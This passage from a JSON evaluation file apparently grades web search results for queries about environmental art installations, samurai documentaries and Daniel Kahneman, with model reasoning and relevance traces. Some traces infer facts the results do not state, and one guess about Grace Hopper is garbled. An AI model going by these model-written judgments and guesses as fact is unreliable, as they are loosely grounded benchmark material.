communication are needed to determine whether they can have a more expansive impact on human behavior. Visual art, which uses more emotive and personalized techniques, may help bridge the divide between scientific information and personal action (Roosen et al. 2018a, 2018b). Artists play an important role in environmental communication, particularly in the form of socially-engaged interactive art installations (Simoniti, 2018). Studies have shown that art helps disseminate scient",
                "model_trace": "Query Decomposition:\n1. {Contemporary artist}: The document does not mention any specific contemporary artist -> ([0], UNSATISFIED)\n2. {Creates detailed, large-scale installations}: The document does not mention any specific installations -> ([0], UNSURE)\n3. {Incorporates elements of nature and technology}: The document discusses the role of art in environmental communication but does not mention specific works that incorporate nature and technology -> ([0], UNSURE)\n4. {Themes of environmental conservation and human impact on ecosystems}: The document discusses environmental communication through art, which relates to themes of environmental conservation and human impact on ecosystems -> ([1], SATISFIED)\n5. {Massive indoor 'forest' made of recycled materials}: The document does not mention any specific installation like a massive indoor 'forest' -> ([0], UNSURE)\n6. {Interdisciplinary approach combining sculpture, digital media, and live plants}: The document mentions that visual art, including interactive installations, plays a role in environmental communication, but does not provide details on interdisciplinary approaches -> ([0], UNSURE)\n\nAssessment: The only subcomponent that is clearly satisfied is {themes of environmental conservation and human impact on ecosystems}. However, the document does not provide specific information about the artist or their works that the user is trying to identify. Therefore, the document is not helpful for this query. NO."
            },
            {
                "grade": "NO",
                "title": "Re-Connections: In Kinship With Nature - the United Nations",
                "url": "https://www.un.org/en/exhibits/exhibit/re-connection",
                "published_date": null,
                "text": "David Benjamin Sherry, Many Hands Petroglyph \n \n \n \n \n \n\tHumankind has not woven the web of life. We are but one thread within it. Whatever we do to the web, we do to ourselves. All things are bound together. All things connect.\n- Chief Seattle, Duwamish\n\t Physical, spiritual and ecological themes from our natural world, and their implicit interconnectedness, have been rooted in ancient and Indigenous philosophies for centuries. Contemporary ecological beliefs hinge on this idea.\n\t \n\t To further illustrate this concept, All Our Relations is an Indigenous prayer of oneness (Mit\u00e1kuye Oy\u00e1s\u2019i\u014b in the Lakota language), seeking to live in kinship with nature, in harmony with all forms of life: animals, birds, insects, trees and plants, rocks, rivers, mountains and valleys, and human beings. Zoroastrianism, widespread in Iran and Central Asia in the 6th century BC, through caring for the elements and the earth, sees the physical world as a natural matrix of Seven Creations: Fire, Sky, Water, Earth, Animals, Humans and Plants. Purity of nature, in their tradition, is seen as the greatest good. Similarly, other ancient philosophies are concurrent with self-identification of being \u201cat one\u201d with nature and natural phenomena. They lead to ecocentrism and a holistic ecological attitude of \u201crespect for nature.\u201d\n \n \n\t \n \n\t  Re-Connections: In Kinship With Nature blends artistic expression with environmental activism. The artists address an urgent need to live more responsibly within the Earth\u2019s finite resources. Witness to floods, waters rising (while in other places vanishing), continued acts of land expropriation from Indigenous people and other man-made threats, we imagine a livable future on our planet and feel an obligation to work together to take action and reverse this trend.\n\t The in-person exhibition will be hosted in October on the land of the First Nations, at the United Nations headquarters exhibition space, in the middle of the island of Manahatta.\n\t \n\t \n\t Each place its own mind, its own psyche! Oak, Madrone, Dou",
                "model_trace": "Query Decomposition:\n1. {Contemporary artist}: The document mentions contemporary artists but does not specify any particular artist -> ([1], UNSURE)\n2. {Creates detailed, large-scale installations}: The document does not provide information about artists creating detailed, large-scale installations -> ([0], UNSURE)\n3. {Incorporates elements of nature and technology}: The document discusses themes of nature but does not mention the incorporation of technology in the artworks -> ([0], UNSURE)\n4. {Addresses themes of environmental conservation and human impact on ecosystems}: The document mentions themes of environmental activism and conservation -> ([1], SATISFIED)\n5. {Massive indoor 'forest' made of recycled materials with artificial rain and mist}: The document does not provide information about such specific installations -> ([0], UNSURE)\n6. {Interdisciplinary approach combining sculpture, digital media, and live plants}: The document does not provide information about the interdisciplinary approach involving sculpture, digital media, or live plants -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Contemporary artist} and {Addresses themes of environmental conservation and human impact on ecosystems}. The document satisfies the latter but is unclear on the former. Since not enough relevant subcomponents are satisfied, the document is not helpful for identifying the specific artist.\n\nNO."
            }
        ]
    },
    {
        "query": "3. I'm looking for a documentary that explores the history and cultural significance of samurai in Japan. I remember it had really beautiful cinematography and in-depth interviews with experts. Do you know the title of a documentary like that?",
        "grid_pos": [
            2,
            7
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. The movie being described is \"Howl's Moving Castle\".\n\n2. The TV show being described is likely \"Teen Titans\" or \"Young Justice\".\n\n3. A good documentary covering the history and cultural significance of samurai in Japan could be \"The Samurai\" by NHK.\n\n4. A video essay analyzing themes and symbolism in classic film noir movies could be \"The Subversive Genius of Double Indemnity\" by Lessons from the Screenplay.\n\n5. A good instructional cooking video for an authentic Thai curry dish could be \"Massaman Curry | Marion's Kitchen\" on YouTube."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Way of the Samurai (Documentary)",
                "url": "https://www.youtube.com/watch?v=9l-xmIokFgg&feature=youtu.be",
                "published_date": "2015-05-03",
                "text": "Ways To Support the Channel\n\nLeave a tip! https://streamelements.com/twowheelunion/tip\n\nIf you are using the Brave Browser you can send me BAT\n\nCrypto\n\nBitcoin: 3CsTHvPc1Pg8fPMKLqQcvYt3cVW2WVAniL\nRen: 0x556cFC48125404A17418a5bDD46B6bd116b6E9c5\nEthereum: 0x8990461Cfeb5344Aa4383911e3531DD4463ddd72\nBasic Attention Token: 0xFD36b47Fae9b1717f1760261ED2719E63fa5ce60\n\nIn the early 16th century, Japan is a warlike society ruled by samurai and their daimyo warlords. When Portuguese merchants arrive in 1543, they are the first Europeans to set foot in Japan. Missionaries quickly set out to convert the nation to Christianity. In the same year, a samurai boy named Tokugawa Ieyasu is born to a low ranking daimyo family. To prove his family's loyalty to their ruling warlord, Ieyasu is given as a hostage where he remains for most of his childhood. When he is finally freed, he reclaims his family's domain and allies himself with the most powerful rulers in Japan: Oda Nobunaga, and his successor, Toyotomi Hideyoshi. Hideyoshi awards him a small fishing village named Edo, later to be known as Tokyo, and provides him with a vast area to rule. But Hideyoshi and Ieyasu are uneasy allies. On his deathbed, Hideyoshi, places Ieyasu in command until Hideyoshi's true heir--his young son, Hideyori--will rule. When daimyo rebels challenge Ieyasu's control, Tokugawa Ieyasu's samurai armies defeat them at the Battle of Sekigahara. The victory brings to Ieyasu the title of shogun. Ieyasu's only remaining obstacle for total control of Japan is Hideyori. In 1614, Ieyasu renounces his allegiance to Hideyori and attacks Osaka Castle, slaughtering more than 100,000. It is the beginning of a dynasty that will endure for more than 250 years.\n| view_count: 686,265 views | short_view_count: 686K views | num_likes: 4.5K | num_subscribers: 21.5K",
                "model_trace": "Query Decomposition:\n1. {documentary that explores the history of samurai in Japan}: The document is about a documentary titled \"The Way of the Samurai,\" which explores the history of samurai in Japan -> ([1], SATISFIED)\n2. {cultural significance of samurai in Japan}: The content describes significant historical events and figures related to the samurai, indicating cultural significance -> ([2], SATISFIED)\n3. {beautiful cinematography}: The document does not provide information about the cinematography quality -> ([0], UNSURE)\n4. {in-depth interviews with experts}: The document does not mention interviews with experts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {documentary that explores the history of samurai in Japan} and {cultural significance of samurai in Japan}. Both are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Wine Road of the Samurai - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Wine_Road_of_the_Samurai",
                "published_date": "2006-10-17",
                "text": "From Wikipedia, the free encyclopedia\n Wine Road of the Samurai Starring Shin Koyamada Country of origin Japan Original languages EnglishJapaneseFrenchArabic Production Executive producers Kenichi Hara Shin Koyamada Shinji Yamada Running time 90 minutes Release Original network JNN Network Original release March 21, 2006 \n Wine Road of The Samurai (\u30ef\u30a4\u30f3\u5927\u56fd\u3092\u5922\u898b\u305f\u7537\u9054\uff5e\u4f8d\u9054\u306e\u30ef\u30a4\u30f3\u30ed\u30fc\u30c9\uff5e) is a feature film based on a true story about a delegation of 34 samurai to Europe in 1863, known as the Second Japanese Embassy to Europe (1863). It was first aired in Japan on March 21, 2006.\n\nPlot summary[edit]\n 34 Samurai in front of Sphinx in 1863 \nThis documentary is about a group of samurai sent by the Japanese government to France at the end of the Edo period. At the time, all the ports of Japan were closed, cutting it off from the rest of the world. The samurai were sent to help solve diplomatic problems between Japan and Europe on December 29, 1863. They were welcomed by every government and head of state they visited, including Napoleon III, in France. They were also photographed standing in front of Sphinx, in Egypt. The samurai returned with many products from their trip, including a book on wine production. They ended their expedition earlier than expected due to the need to report home about the astonishing technology in modernized countries.\n\nLocations[edit]\n Yamagata, Japan \n Okayama, Japan \n Paris, France \n Burgundy, France \n Marseille, France \n Cairo, Egypt \n Alexandria, Egypt \n Luxor, Egypt \nIt was filmed on location over the course of a year. It was among the first feature documentary by JNN Network to be filmed in such a wide variety of locations. Director Eiji Sone shot a total of about 300 hours of footage.\n\nCast[edit]\n Shin Koyamada\u2014Himself, Narrator \nCrew[edit]\n Directed by: Eiji Sone\nExecutive Produced by: Kenichi Hara\nExecutive producer by: Shin Koyamada \nProduced by: Eiji Sone\nProduced by: Shinji Yamada \nExecutive Producer: Shannon C. Murphy\n\nDistribution[edit]\nJapan\n\nTokyo Broadcasting System (TBS)\n Hokkaido Broadca",
                "model_trace": "Query Decomposition:\n1. {documentary that explores the history and cultural significance of samurai in Japan}: This document describes a documentary about a delegation of samurai to Europe in 1863, which is a specific historical event rather than a broad exploration of samurai history and cultural significance -> ([1], UNSATISFIED)\n2. {beautiful cinematography}: The document does not provide information about the cinematography quality -> ([0], UNSURE)\n3. {in-depth interviews with experts}: The document does not mention interviews with experts -> ([0], UNSURE)\n\nAssessment: The key subcomponent is {documentary that explores the history and cultural significance of samurai in Japan}, which is UNSATISFIED. The document does not meet the user's intent of finding a documentary with a broad exploration of samurai history and cultural significance. NO."
            },
            {
                "grade": "YES",
                "title": "The Way of the Samurai",
                "url": "https://www.documentarytube.com/videos/the-way-of-the-samurai",
                "published_date": "2015-02-25",
                "text": "In the early sixteenth century, Japan is a warlike society led by samurai and their daimyo warlords. At the point when Portuguese vendors touch base in 1543, they are the first Europeans to set foot in Japan. Preachers rapidly set out to change over the country to Christianity. In that year, a samurai kid named Tokugawa Ieyasu is destined to a low positioning daimyo gang. To demonstrate his family's dependability to their decision warlord, Ieyasu is given as a prisoner where he stays for the greater part of his adolescence. When he is at long last liberated, he recovers his family's space and partners himself with the most influential rulers in Japan: Oda Nobunaga, and his successor, Toyotomi Hideyoshi. Hideyoshi honors him a little angling town named Edo, later to be known as Tokyo, and gives him an incomprehensible range to run the show. However Hideyoshi and Ieyasu are uneasy associates. Watch more history documentaries here. From Around the Web Related Videos",
                "model_trace": "Query Decomposition:\n1. {documentary that explores the history of samurai in Japan}: This document is about a documentary titled \"The Way of the Samurai,\" which explores the history of samurai in Japan -> ([1], SATISFIED)\n2. {cultural significance of samurai in Japan}: The content discusses the historical context and the role of samurai, which likely includes their cultural significance -> ([2], SATISFIED)\n3. {beautiful cinematography}: The document does not provide information about the cinematography quality -> ([0], UNSURE)\n4. {in-depth interviews with experts}: The document does not mention interviews with experts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {documentary that explores the history of samurai in Japan} and {cultural significance of samurai in Japan}. Both are satisfied. The document does not provide enough information to evaluate the cinematography or the presence of expert interviews, but these are not critical for the evaluation based on the given instructions.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Age of Samurai: Battle for Japan Review (Abridged)",
                "url": "https://thesengokuarchives.com/2021/03/27/age-of-samurai-battle-for-japan-review-abridged/",
                "published_date": null,
                "text": "Age of Samurai: Battle for Japan advertisement graphic \nI finally get to cover something current! That being said\u2026oh boy\u2026\nI really wanted to like this, because I saw a golden moment in the progress of Sengoku Jidai history. This is the only documentary I can think of that covers the lives of the Three Unifiers; Oda Nobunaga, Toyotomi Hideyoshi and Tokugawa Ieyasu, in English. This could have been groundbreaking. Sadly, we were given a pathetic excuse for a documentary on one of the most exciting eras in Japanese history. I actually had to step away from doing this review the week I watched the documentary because had I written this in the moment, we would be here all day. Yet, notice this says \u201cabridged\u201d. Once I go back and fact check certain things, a will publish a breakdown of each individual episode (though I have studied this for years, there is still a lot I do not know. I am not ashamed to admit that.). In the meantime, the following will be an overview on the series as a whole.\n First Impressions (The Trailer) \nI did not know anything about this documentary until someone posted about it on Facebook. Excited, I went to look for the trailer on YouTube, but that is when I started to get worried. An official trailer had not been dropped for\u00a0Age of Samurai\u00a0and the only one I could find had Russian subtitles. Netflix had a trailer on their official website, but the trailer had not been released to YouTube. I found this odd, but I brushed it off thinking that perhaps they did not want to waste money on advertising something that may not do that well. After viewing the documentary though, I think it is because Netflix knew it was bad.\nAt first glace, I liked the live action. I thought it would be interesting thing for a documentary to do, but I was sadly mistaken. To be honest, I feel like\u00a0Age of Samurai\u00a0should have been a drama instead of a documentary, doing something more like\u00a0Mindhunters\u00a0(which I personally believe would have been better as a documentary). It would have gotten more viewers as well, considerin",
                "model_trace": "Query Decomposition:\n1. {documentary that explores the history and cultural significance of samurai in Japan}: This document reviews a documentary about the Sengoku Jidai period, which includes significant samurai history -> ([1], SATISFIED)\n2. {beautiful cinematography}: The document does not provide specific information about the cinematography quality -> ([0], UNSURE)\n3. {in-depth interviews with experts}: The document does not mention the presence of in-depth interviews with experts -> ([0], UNSURE)\n4. {title of the documentary}: The document provides the title \"Age of Samurai: Battle for Japan\" -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {documentary that explores the history and cultural significance of samurai in Japan} and {title of the documentary}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Watch Age of Samurai: Battle for Japan | Netflix Official Site",
                "url": "https://www.netflix.com/title/80237990",
                "published_date": null,
                "text": "Netflix Home   UNLIMITED TV SHOWS &amp; MOVIES  SIGN IN        Dynamic reenactments and expert commentaries bring to life the tumultuous history and power struggles of a warring 16th-century feudal Japan.  Starring:Masayoshi Haneda, Masami Kosaka, Hideaki Ito       Videos Age of Samurai: Battle for Japan       Episodes Age of Samurai: Battle for Japan    Age of Samurai: Battle for Japan       Considered a fool and unfit to lead, Nobunaga rises to power as the head of the Oda clan, spurring dissent among those in his family vying for control.     Nobunaga angers warlords when he captures most of central Japan and ignites a fierce war with Takeda Shingen, a formidable daimyo.     As Nobunaga\u2019s ambitions intensify, some generals start to question his command, leading to a betrayal that alters the political landscape forever.     Toyotomi Hideyoshi ascends to power as the de facto ruler of Japan. Still, Date Masamune, a young daimyo in the north, ignores his missives.     With the country unified, Hideyoshi plans to expand his reign to China. Logistical challenges and fierce opposition in Korea prove to be costly.     A dying Hideyoshi appoints five regents to govern till his son comes of age, but the power-hungry Tokugawa Ieyasu declares war on those who oppose him.        More Details     Watch offline Downloads available on all plans except Basic with ads.   This show is... Violent, Exciting    Cast Masayoshi HanedaMasami KosakaHideaki ItoHayateWilfred LeePhilippe Koo      More Like This                                 Coming Soon     Triptych After learning she was separated at birth from her two identical sisters, Rebecca embarks on a perilous journey to uncover the truth about her origins.   Nightmares &amp; Daydreams A supernatural thriller series that shows there isn't necessarily a rational explanation behind every occurrence.   Gyeongseong Creature In the spring of 1945, a grim era of bitter darkness, a young man and woman struggle for survival while fighting monsters born out of human greed.   Siren: Survi",
                "model_trace": "Query Decomposition:\n1. {documentary that explores the history of samurai in Japan}: The document describes \"Age of Samurai: Battle for Japan,\" which explores the history of samurai in 16th-century feudal Japan -> ([1], SATISFIED)\n2. {cultural significance of samurai in Japan}: The document does not explicitly mention cultural significance, but it can be inferred that a documentary on samurai history would touch on their cultural impact -> ([2], SATISFIED)\n3. {beautiful cinematography}: The document does not mention cinematography quality -> ([0], UNSURE)\n4. {in-depth interviews with experts}: The document mentions expert commentaries, which implies in-depth interviews with experts -> ([1], SATISFIED)\n\nAssessment: The subcomponents {documentary that explores the history of samurai in Japan}, {cultural significance of samurai in Japan}, and {in-depth interviews with experts} are all satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "PBS Empires - History Documentary - Japan - Memoirs of a ...",
                "url": "https://www.youtube.com/watch?v=O-3ZqnQotsc",
                "published_date": null,
                "text": "\"Way of the Samurai\" is a captivating documentary video that explores the ancient tradition of the samurai, one of the most respected and revered warrior classes in Japanese history. This video delves deep into the samurai culture, examining the customs, training, and way of life that made these warriors so feared and respected. From the earliest days of the samurai to the present, \"Way of the Samurai\" provides a comprehensive look at this fascinating and unique aspect of Japanese history.\nThe video begins with a brief overview of the samurai, explaining who they were, what they did, and why they were so important to Japanese society. From there, the video explores the origins of the samurai class, tracing their history back to the Heian period (794-1185) when they were known as \"bushi\" or \"warriors.\" It was during this period that the samurai began to emerge as a distinct class of warriors, serving as the protectors of the ruling elite.\nAs the video progresses, it examines the different roles that the samurai played in Japanese society. From the early days of the samurai as protectors of the ruling elite to their role as the backbone of the military during the Sengoku period (1467-1603) and the Edo period (1603-1868), the video provides a detailed look at the various roles that the samurai played throughout history.\nOne of the most fascinating aspects of the samurai culture is the way of life that they adhered to. The video explores the samurai code of conduct, known as bushido, which emphasized loyalty, honor, and courage. It also examines the samurai training and discipline, including the rigorous physical and mental training that was required to become a samurai.\nThe video also explores the weapons and armor of the samurai, including the famous katana sword and the various forms of armor that were used to protect them in battle. It also looks at the different styles of combat that the samurai used, including the traditional kenjutsu sword fighting and the more modern jujutsu grappling techniques.\nAs the video",
                "model_trace": "Query Decomposition:\n1. {documentary that explores the history of samurai in Japan}: The document describes a documentary titled \"Way of the Samurai\" that explores the history of the samurai, including their origins, roles, and evolution over time -> ([1], SATISFIED)\n2. {cultural significance of samurai in Japan}: The document mentions that the documentary delves into the samurai culture, customs, training, and way of life, which indicates it covers the cultural significance of the samurai -> ([1], SATISFIED)\n3. {beautiful cinematography}: The document does not provide information about the cinematography quality -> ([0], UNSURE)\n4. {in-depth interviews with experts}: The document does not mention whether the documentary includes in-depth interviews with experts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {documentary that explores the history of samurai in Japan} and {cultural significance of samurai in Japan}. Both of these subcomponents are satisfied. The absence of information about cinematography and expert interviews does not affect the evaluation since they are tagged [0].\n\nYES"
            }
        ]
    },
    {
        "query": "I'm researching influential figures in the field of behavioral economics and decision-making. There's a particular psychologist who, along with his longtime collaborator, won the Nobel Prize in Economics for their work on prospect theory and cognitive biases. Their research challenged traditional economic models by showing how people make decisions under uncertainty. One of their famous experiments involved people's different reactions to the same scenario when framed as gains versus losses. Can you help me identify this pioneering psychologist in the field of judgment and decision-making?",
        "grid_pos": [
            2,
            8
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Person",
        "reasoning_trace": [
            "The reasoning for each query:\n\n1. The description points to Grace Hopper, a pioneering computer scientist known for her work on COBOL, her service in the US Navy, and her famous clock-wise pin.\n\n2. This query is describing Jacques Derrida, a French philosopher born in Algeria who is known for his work in deconstruction and post-structuralism.\n\n3. The query is likely referring to Bayard Rustin, a key organizer in the civil rights movement who worked closely with Martin Luther King Jr. but often remained in the background due to his sexual orientation.\n\n4. While there are several artists who could fit this description, one possibility is Olafur Eliasson, known for his large-scale installations that often incorporate natural elements and address environmental issues.\n\n5. The psychologist described is Daniel Kahneman, who along with Amos Tversky, developed prospect theory and made significant contributions to the field of behavioral economics, winning the Nobel Prize in Economics in 2002."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Home",
                "url": "http://www.econ.upf.edu/~hogarth/Robin_M._Hogarth/Home.html",
                "published_date": "2015-10-02",
                "text": "Welcome!\n\nThis is the webpage of\u00c2 Robin M. Hogarth\u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 \u00c2 robin.hogarth at upf.edu\n\nI live and work in Spain where I am an emeritus professor at Universitat Pompeu Fabra (UPF to its friends) in Barcelona where I have the joy of interacting with talented PhD students from all over the world. In fact, I am a relic of the British Empire. Born in India to British parents during World War II, I was sent \u00e2\u0080\u009cback\u00e2\u0080\u009d to Scotland as a child to be educated. Subsequently, I gained a PhD from the University of Chicago in 1972 and also became a U.S. citizen.\n\nI do not have an undergraduate degree. After leaving high school,\u00c2 I became a chartered accountant in the UK by being an \u00e2\u0080\u009capprentice\u00e2\u0080\u009d (called \u00e2\u0080\u009carticled clerk\u00e2\u0080\u009d) and also indulged in playing rugby (as a wing or center-three-quarter) for London Scottish, at the time one of the better club sides in the UK. But in 1967, I headed for France to do an MBA at INSEAD. From there it was a short step to doing a PhD at the University of Chicago (where, since I had a good scholarship, no one cared about my lack of an undergraduate degree). I eventually became a member of faculty at the Graduate School of Business (now the Booth School) at the University of Chicago, after holding positions at INSEAD and the London Business School.\n\nDuring my time on the faculty at Chicago (1979 to 2001) I served as Deputy Dean (1993 to 1998), Director of the Center for Decision Research (1983-1993) and Wallace W. Booth Professor of Behavioral Science. I was also responsible for setting up the University of Chicago\u00e2\u0080\u0099s executive MBA program in Europe.\n\nMy research focuses mainly on the psychology of judgment and decision making. I have published several books and many papers and in 2007 was awarded an honorary doctorate by the University of Lausanne.\u00c2\n\nToday, I live in Barcelona with my Catalan wife and struggle daily with both Spanish and Catalan. I enjoy visiting my three children and five grandchildren who all live in Northern California. British friends in",
                "model_trace": "Query Decomposition:\n1. {Influential figures in behavioral economics and decision-making}: The document mentions Robin M. Hogarth, who is an emeritus professor and has focused on the psychology of judgment and decision making -> ([1], SATISFIED)\n2. {Psychologist who won the Nobel Prize in Economics for work on prospect theory and cognitive biases}: The document does not mention a Nobel Prize or specific work on prospect theory and cognitive biases -> ([0], UNSURE)\n3. {Research challenged traditional economic models by showing how people make decisions under uncertainty}: The document mentions Hogarth's focus on judgment and decision making, but not specifically challenging traditional economic models or decisions under uncertainty -> ([2], UNSURE)\n4. {Famous experiment involving people's reactions to gains versus losses}: The document does not mention any specific experiments -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to influential figures in behavioral economics and decision-making but does not provide sufficient information to confirm the specific psychologist who won the Nobel Prize for work on prospect theory and cognitive biases. Therefore, it is not helpful for identifying the specific pioneering psychologist mentioned in the query. NO."
            },
            {
                "grade": "YES",
                "title": "Daniel Kahneman",
                "url": "https://kahneman.scholar.princeton.edu/",
                "published_date": "2023-01-01",
                "text": "Daniel Kahneman is Professor of Psychology and Public Affairs Emeritus at the Princeton School of Public and International Affairs, the Eugene Higgins Professor of Psychology Emeritus at Princeton University, and a fellow of the Center for Rationality at the Hebrew University in Jerusalem. Dr. Kahneman has held the position of professor of psychology at the Hebrew University in Jerusalem (1970-1978), the University of British Columbia (1978-1986), and the University of California, Berkeley (1986-1994). Dr. Kahneman is a member of the National Academy of Science, the Philosophical Society, the American Academy of Arts and Sciences and a fellow of the American Psychological Association, the American Psychological Society, the Society of Experimental Psychologists, and the Econometric Society. He has been the recipient of many awards, among them the Distinguished Scientific Contribution Award of the American Psychological Association (1982) and the Grawemeyer Prize (2002), both jointly with Amos Tversky, the Warren Medal of the Society of Experimental Psychologists (1995), the Hilgard Award for Career Contributions to General Psychology (1995), the Nobel Prize in Economic Sciences (2002), the Lifetime Contribution Award of the American Psychological Association (2007), and the Presidential Medal of Freedom (2013). Dr. Kahneman holds honorary degrees from numerous Universities.",
                "model_trace": "Query Decomposition:\n1. {influential figures in behavioral economics and decision-making}: The document is about Daniel Kahneman, who is a highly influential figure in this field -> ([1], SATISFIED)\n2. {psychologist who won the Nobel Prize in Economics for work on prospect theory and cognitive biases}: The document mentions that Daniel Kahneman won the Nobel Prize in Economic Sciences in 2002, and his work is known for prospect theory and cognitive biases -> ([1], SATISFIED)\n3. {collaborator}: The document mentions Amos Tversky as Kahneman's collaborator -> ([1], SATISFIED)\n4. {famous experiment involving people's reactions to gains versus losses}: The document does not specifically mention this experiment, but it is well-known that Kahneman and Tversky's work includes such experiments -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. The information provided clearly identifies Daniel Kahneman as the pioneering psychologist in the field of judgment and decision-making, along with his collaborator Amos Tversky. YES"
            },
            {
                "grade": "NO",
                "title": "Thomas R. Stewart home page",
                "url": "https://www.albany.edu/cpr/stewart/",
                "published_date": "2002-01-01",
                "text": "Research\nand teaching interests\nI am interested in analyzing expert or professional judgment\nunder conditions of complexity and uncertainty. Why are some judges more\naccurate than others? How can judgments be improved? I use Brunswik's\nlens model framework and the lens model equation to analyze various components\nof expert skill. I am particularly interested in practical applications\nof judgment and decision research to public policy issues and to improving professional judgment. Recently,\nI have been studying how people learn decision thresholds when they do not get complete feedback.\nFor more information, see the Center\nfor Policy Research and the home page for my course \"Seminar\non Judgment and Decision making Behavior.\"\n\nReturn to contents\n\nRecent papers\nand publications\n\nDoherty, Michael E., Stewart Thomas R., and Holzworth, R. James (2021), \n\"Noise\" and Social Judgment Theory: A Commentary on Kahneman, Sibony and Sunstein. \nBrunswik Society Newsletter, 36, 56-66. \nFull text pdf \nHolzworth, R. J., Stewart, T. R., and Mumpower, J. L. (2018) Detection and Selection Decisions with Conditional Feedback: Interaction of Task Uncertainty and Base Rate. Journal of Behavioral Decision Making, doi: 10.1002/bdm.2062. Online Abstract \nStewart, T. R., Mumpower, J. L., & Holzworth, R. J. (2012). \nLearning to make selection and detection decisions: The roles of base rate \nand feedback. Journal of Behavioral Decision Making, 25(5), 522-533. Online Abstract \nWeaver, E. A., & Stewart, T. R. (2012). Dimensions of judgment: \nFactor analysis of individual differences. Journal of Behavioral Decision Making \n(Special issue on individual differences), 25, 402-413. \nOnline Abstract \nGhaffarzadegan, N., & Stewart, T. R. (2011). An Extension \nto the constructivist coding hypothesis as a learning model for selective \nfeedback when the base rate is high. Journal of Experimental Psychology: \nLearning, Memory, and Cognition, 37(4), 1044-1047.\nStewart, T. R. (2009). The lens model. In M. Kattan (Ed.), \nEncyclopedia of Medical Decision Maki",
                "model_trace": "Query Decomposition:\n1. {Influential figures in behavioral economics and decision-making}: The document mentions Thomas R. Stewart, who is involved in judgment and decision-making research -> ([1], SATISFIED)\n2. {Psychologist who won Nobel Prize in Economics for prospect theory and cognitive biases}: The document does not mention any Nobel Prize, prospect theory, or cognitive biases -> ([0], UNSURE)\n3. {Research on how people make decisions under uncertainty}: The document mentions Stewart's research on judgment under uncertainty -> ([1], SATISFIED)\n4. {Famous experiment involving reactions to gains versus losses}: The document does not mention any specific experiments involving gains versus losses -> ([0], UNSURE)\n\nAssessment: The document provides information about Thomas R. Stewart, who is involved in judgment and decision-making research, but it does not mention the Nobel Prize, prospect theory, cognitive biases, or the specific experiment involving gains versus losses. Therefore, it does not satisfy all the key subcomponents of the query. NO."
            },
            {
                "grade": "YES",
                "title": "Daniel Kahneman, Who Plumbed the Psychology of ...",
                "url": "https://www.nytimes.com/2024/03/27/business/daniel-kahneman-dead.html",
                "published_date": null,
                "text": "Advertisement  SKIP ADVERTISEMENT    He helped pioneer a branch of the field that exposed hard-wired mental biases in people\u2019s economic behavior. The work led to a Nobel.            Daniel Kahneman, who never took an economics course but who pioneered a psychologically based branch of that field that led to a Nobel in economic science in 2002, died on Wednesday. He was 90. His death was confirmed by his partner, Barbara Tversky. She declined to say where he died. Professor Kahneman, who was long associated with Princeton University and lived in Manhattan, employed his training as a psychologist to advance what came to be called behavioral economics. The work, done largely in the 1970s, led to a rethinking of issues as far-flung as medical malpractice, international political negotiations and the evaluation of baseball talent, all of which he analyzed, mostly in collaboration with Amos Tversky, a Stanford cognitive psychologist who did groundbreaking work on human judgment and decision-making. (Ms. Tversky, also a professor of psychology at Stanford, had been married to Professor Tversky, who died in 1996. She and Professor Kahneman became partners several years ago.) As opposed to traditional economics, which assumes that human beings generally act in fully rational ways and that any exceptions tend to disappear as the stakes are raised, the behavioral school is based on exposing hard-wired mental biases that can warp judgment, often with counterintuitive results.               \u201cHis central message could not be more important,\u201d the Harvard psychologist and author Steven Pinker told The Guardian in 2014, \u201cnamely, that human reason left to its own devices is apt to engage in a number of fallacies and systematic errors, so if we want to make better decisions in our personal lives and as a society, we ought to be aware of these biases and seek workarounds. That\u2019s a powerful and important discovery.\u201d   Professor Kahneman delighted in pointing out and explaining what he called universal brain \u201ckinks.\u201d The most importan",
                "model_trace": "Query Decomposition:\n1. {Influential figures in the field of behavioral economics and decision-making}: The document discusses Daniel Kahneman, a prominent figure in behavioral economics -> ([1], SATISFIED)\n2. {Psychologist who won the Nobel Prize in Economics for work on prospect theory and cognitive biases}: The document mentions that Daniel Kahneman won the Nobel Prize in Economic Sciences in 2002 for his work in behavioral economics, which includes prospect theory and cognitive biases -> ([1], SATISFIED)\n3. {Research challenged traditional economic models by showing how people make decisions under uncertainty}: The document details how Kahneman's work exposed mental biases in economic behavior, challenging traditional economic models -> ([1], SATISFIED)\n4. {Famous experiment involving different reactions to the same scenario when framed as gains versus losses}: The document does not explicitly mention this specific experiment -> ([0], UNSURE).\n\nAssessment: The document clearly satisfies the subcomponents related to identifying the influential psychologist, his Nobel Prize, and his contributions to challenging traditional economic models. The specific experiment mentioned in the query is not crucial for identifying the psychologist in question.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Daniel Kahneman \u2013 Facts",
                "url": "https://www.nobelprize.org/prizes/economic-sciences/2002/kahneman/facts/",
                "published_date": null,
